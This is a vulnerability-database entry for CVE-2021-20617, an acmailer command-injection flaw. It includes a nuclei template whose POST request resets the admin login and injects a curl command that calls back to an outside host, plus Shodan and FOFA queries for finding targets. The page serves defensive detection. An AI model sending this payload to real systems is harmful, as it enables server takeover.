HexBrain

Browse / CVEs / CVE-2021-20617

CVE-2021-20617· acmailer / acmailer,acmailer db· NVD-CWE-Other

Acmailer - Improper Access Control to OS Command Injection

criticalseverity
9.8CVSS score
7.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.

Impact

Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.

Fix

Update to the latest version of acmailer and acmailer DB to address the issue.

How to confirm it

Send: POST /init_ctl.cgi
Positive when: contains(interactsh_request, 'User-Agent: curl') and contains(interactsh_protocol, 'http') and contains(body, "<a href=\"index.cgi\">") and status_code == 302

Run it with nuclei: nuclei -id CVE-2021-20617 -u <target>

The full check
id: CVE-2021-20617

info:
  name: Acmailer - Improper Access Control to OS Command Injection
  author: daffainfo
  severity: critical
  description: |
    Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.
  impact: |
    Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.
  remediation: |
    Update to the latest version of acmailer and acmailer DB to address the issue.
  reference:
    - https://starlabs.sg/blog/2023/02-dissecting-the-vulnerabilities-a-comprehensive-teardown-of-acmailer/
    - https://www.acmailer.jp/info/de.cgi?id=101
    - https://jvn.jp/en/jp/JVN35906450/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20617
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20617
    epss-score: 0.07413
    epss-percentile: 0.94489
    cwe-id: NVD-CWE-Other
    cpe: cpe:2.3:a:acmailer:acmailer:*:*:*:*:*:*:*:*,cpe:2.3:a:acmailer:acmailer_db:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acmailer
    product: acmailer,acmailer_db
    shodan-query: title="ACMAILER4.0"
    fofa-query: title="ACMAILER4.0"
  tags: cve,cve2021,acmailer,rce,vkev,oast,oob,vuln

variables:
  admin_name: "{{randbase(5)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /init_ctl.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        admin_name={{admin_name}}&admin_email={{email}}&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://{{interactsh-url}}&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_request, 'User-Agent: curl')"
          - "contains(interactsh_protocol, 'http')"
          - contains(body, "<a href=\"index.cgi\">")
          - 'status_code == 302'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from